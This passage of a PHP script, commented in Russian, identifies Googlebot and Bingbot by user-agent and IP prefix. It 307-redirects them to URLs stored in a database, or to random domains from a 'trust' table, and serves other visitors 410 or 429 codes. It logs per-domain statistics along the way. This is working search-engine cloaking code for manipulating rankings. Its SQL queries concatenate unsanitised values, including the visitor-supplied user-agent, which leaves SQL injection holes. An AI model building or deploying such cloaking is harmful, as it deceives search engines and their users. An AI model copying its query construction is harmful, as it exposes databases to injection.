set_charset("utf8mb4"); if ($conn->connect_error) { $conn->close(); http_response_code(404); exit;} if ($debug==1) { $sql = "INSERT INTO `logs_410_ip` (`domain`, `ip`, `ua`) VALUES ('".$domainName."', '".$ip."', '".mb_substr($userag,0,300)."')"; $result = $conn->query($sql); } for ($i = 0; $i < $benefit; $i++) { // $benefit=10 < $benefit = 9 и эту запсь делаем и получим 10 приходов // получаем ссылку куда отравить бота и id где увеличить статистику if ($i < $ind12) $sql ="SELECT `id`,`redirect` FROM `logs_redirects` WHERE ((`ind` = 0) or (`ind` = 1) or (`ind` = 11) or (`ind` = 12)) AND `ind410` = ".$i." order by `id` DESC LIMIT 1 OFFSET ".rand(0,3); else $sql ="SELECT `id`,`redirect` FROM `logs_redirects` WHERE ((`ind` = 0) or (`ind` = 1) or (`ind` = 11)) AND `ind410` = ".$i." order by `id` DESC LIMIT 1 OFFSET ".rand(0,3); $result = $conn->query($sql); if ($result->num_rows > 0) {$item = $result->fetch_assoc(); $urlRedirect = $item['redirect']; // если это не проверочный запрос 'not_exit_page/noindex', то будем писать статистику if (strpos($_SERVER['REQUEST_URI'], 'not_exit_page/noindex') === FALSE ) { $sql ="UPDATE logs_redirects SET ind410=ind410+1 WHERE id='".$item['id']."'"; $result = $conn->query($sql); $sql_update = "UPDATE `logs_410_count` SET ".$condition.", benefit=benefit+1 WHERE `date` = '".date('Y-m-d')."' and `domain` = '".$domainName."'"; $result_update = $conn->query($sql_update); if ($conn->affected_rows == 0) { // Check if the UPDATE affected any rows If no rows were affected, perform the INSERT $sql = "INSERT INTO `logs_410_count` (`date`, `domain`, `count_map`, `count_main`, `count_old`, `benefit`, `useless_trast`) VALUES ('".date('Y-m-d')."', '".$domainName."', '".$count_map."', '".$count_main."', '".$count_old."', '1', '0')"; $result = $conn->query($sql); } // affected_rows == 0 } // 'not_exit_page/noindex') === FALSE $conn->close(); http_response_code(307); header('Location: ' . $urlRedirect); header('X-Robots-Tag: noindex, follow'); exit; break; } // if $result->num_rows > 0 } //for ($i = 0; $i <= $benefit; $i++ // цикл закончился, нет записей у которых ind410 <= 10($benefit) и мы не вышли, значит будем редиректить на таблицу "траст" $sql_update = "UPDATE `logs_410_count` SET ".$condition.", useless_trast=useless_trast+1 WHERE `date` = '".date('Y-m-d')."' and `domain` = '".$domainName."'"; $result_update = $conn->query($sql_update); if ($conn->affected_rows === 0) { $sql ="INSERT INTO `logs_410_count` (`date`, `domain`, `count_map`, `count_main`, `count_old`, `benefit`, `useless_trast`) VALUES ('".date('Y-m-d')."', '".$domainName."', '".$count_map."', '".$count_main."', '".$count_old."', '0', '1')"; $result = $conn->query($sql); } if (rand($trust,5) == 4){ $sql ="SELECT `url` FROM `trust` WHERE `id` = ".rand(1,300000); $result = $conn->query($sql); if ($result !== false) {$row = $result->fetch_assoc(); $urltr = 'https://www.'.$row['url']; $conn->close(); http_response_code(307); header('Location: ' . $urltr); header('X-Robots-Tag: noindex, follow'); exit; } // $result !== false else {$conn->close();http_response_code(429); exit;} } else {$conn->close();http_response_code(429); exit;} }// in_array($ip, $ip4) else {http_response_code(410); exit;} } //UA = Googlebot/2.1 else { // ================================== Bing Bot $uabing = '+http://www.bing.com/' ; $ip4bing = array("13.66", "13.67", "13.69", "13.71", "139.217", "157.55", "191.233", "199.30", "20.125", "20.15", "20.36", "20.43", "20.74", "20.79", "207.46", "40.77", "40.79", "51.105", "52.167", "52.231", "65.55"); $debugBing=0; // если 1 пишем отладочную инф-ю домен/IP/ua if (strpos($userag, $uabing) !== false) { if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; else $ip = $_SERVER['REMOTE_ADDR']; $ip = implode(".", array_slice(explode(".", $ip), 0, 2)); if (in_array($ip, $ip4bing) !== false) { if (preg_match('/\/\d{2}_\d{2}\//', $requestUri) || strpos($requestUri, substr($domainName, 0, 4) . '_') !== false) {$count_map = 1;$condition = "count_map=count_map+1";} elseif (preg_match('/\/page\d{2}_\d{2}\//', $requestUri) || strpos($requestUri, substr($domainName, 0, 3) . '_') !== false) { $count_main = 1;$condition = "count_main=count_main+1";} else {$count_old = 1;$condition = "count_old=count_old+1";} $conn = new mysqli($host, $user, $pass, $dbname); $conn->set_charset("utf8mb4"); if ($conn->connect_error) { $conn->close(); http_response_code(404); exit;} if ($debugBing==1) { $sql = "INSERT INTO `logs_410_ip_bing` (`domain`, `ip`, `ua`) VALUES ('".$domainName."', '".$ip."', '".mb_substr($userag,0,300)."')"; $result = $conn->query($sql); } for ($i = 0; $i < $benefit; $i++) { // $benefit=10 < $benefit = 9 и эту запсь делаем и получим 10 приходов // получаем ссылку куда отравить бота и id где увеличить статистику if ($i < $ind12) $sql ="SELECT `id`,`redirect` FROM `logs_redirects` WHERE ((`ind` = 0) or (`ind` = 1) or (`ind` = 11) or (`ind` = 12)) AND `bing410` = ".$i." order by `id` DESC LIMIT 1 OFFSET ".rand(0,3); else $sql ="SELECT `id`,`redirect` FROM `logs_redirects` WHERE ((`ind` = 0) or (`ind` = 1) or (`ind` = 11)) AND `bing410` = ".$i." order by `id` DESC LIMIT 1 OFFSET ".rand(0,3); $result = $conn->query($sql); if ($result->num_rows > 0) {$item = $result->fetch_assoc(); $urlRedirect = $item['redirect']; // если это не проверочный запрос 'not_exit_page/noindex', то будем писать статистику if (strpos($_SERVER['REQUEST_URI'], 'not_exit_page/noindex') === FALSE ) { $sql ="UPDATE logs_redirects SET bing410=bing410+1 WHERE id='".$item['id']."'"; $result = $conn->query($sql); /* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // статистику по доменам пока не делаем надо новую таблицу logs_410_count_bing $sql_update = "UPDATE `logs_410_count_bing` SET ".$condition.", benefit=benefit+1 WHERE `date` = '".date('Y-m-d')."' and `domain` = '".$domainName."'"; $result_update = $conn->query($sql_update); if ($conn->affected_rows == 0) { // Check if the UPDATE affected any rows If no rows were affected, perform the INSERT $sql = "INSERT INTO `logs_410_count_bing` (`date`, `domain`, `count_map`, `count_main`, `count_old`, `benefit`, `useless_trast`) VALUES ('".date('Y-m-d')."', '".$domainName."', '".$count_map."', '".$count_main."', '".$count_old."', '1', '0')"; $result = $conn->query($sql); } // affected_rows == 0 */ } // 'not_exit_page/noindex') === FALSE $conn->close(); http_response_code(307); header('Location: ' . $urlRedirect); header('X-Robots-Tag: noindex, follow'); exit; break; } // if $result->num_rows > 0 } //for ($i = 0; $i <= $benefit; $i++ // цикл закончился, нет записей у которых ind410 <= 10($benefit) и мы не вышли, значит будем редиректить на таблицу "траст" $sql_update = "UPDATE `logs_410_count_bing` SET ".$condition.", useless_trast=useless_trast+1 WHERE `date` = '".date('Y-m-d')."' and `domain` = '".$domainName."'"; $result_update = $conn->query($sql_update); if ($conn->affected_rows === 0) { $sql ="INSERT INTO `logs_410_count_bing` (`date`, `domain`, `count_map`, `count_main`, `count_old`, `benefit`, `useless_trast`) VALUES ('".date('Y-m-d')."', '".$domainName."', '".$count_map."', '".$count_main."', '".$count_old."', '0', '1')"; $result = $conn->query($sql); } if (rand($trust,5) == 4){ $sql ="SELECT `url` FROM `trust` WHERE `id` = ".rand(1,300000); $result = $conn->query($sql); if ($result !== false) {$row = $result->fetch_assoc(); $urltr = 'https://www.'.$row['url']; $conn->close(); http_response_code(307); header('Location: ' . $urltr); header('X-Robots-Tag: noindex, follow'); exit; } // $result !== false else {$conn->close();http_response_code(429); exit;} } else {$conn->close();http_response_code(429); exit;} }// in_array($ip, $ip4) else {http_response_code(410); exit;} } // strpos($userag, $uabing) } // else } //try catch (Throwable $e) { // print "Error!: " . $e->getMessage() . "
";die(); http_response_code(307);header('Location: /'); exit; }//catch // file_put_contents("sql.txt", $sql); ?>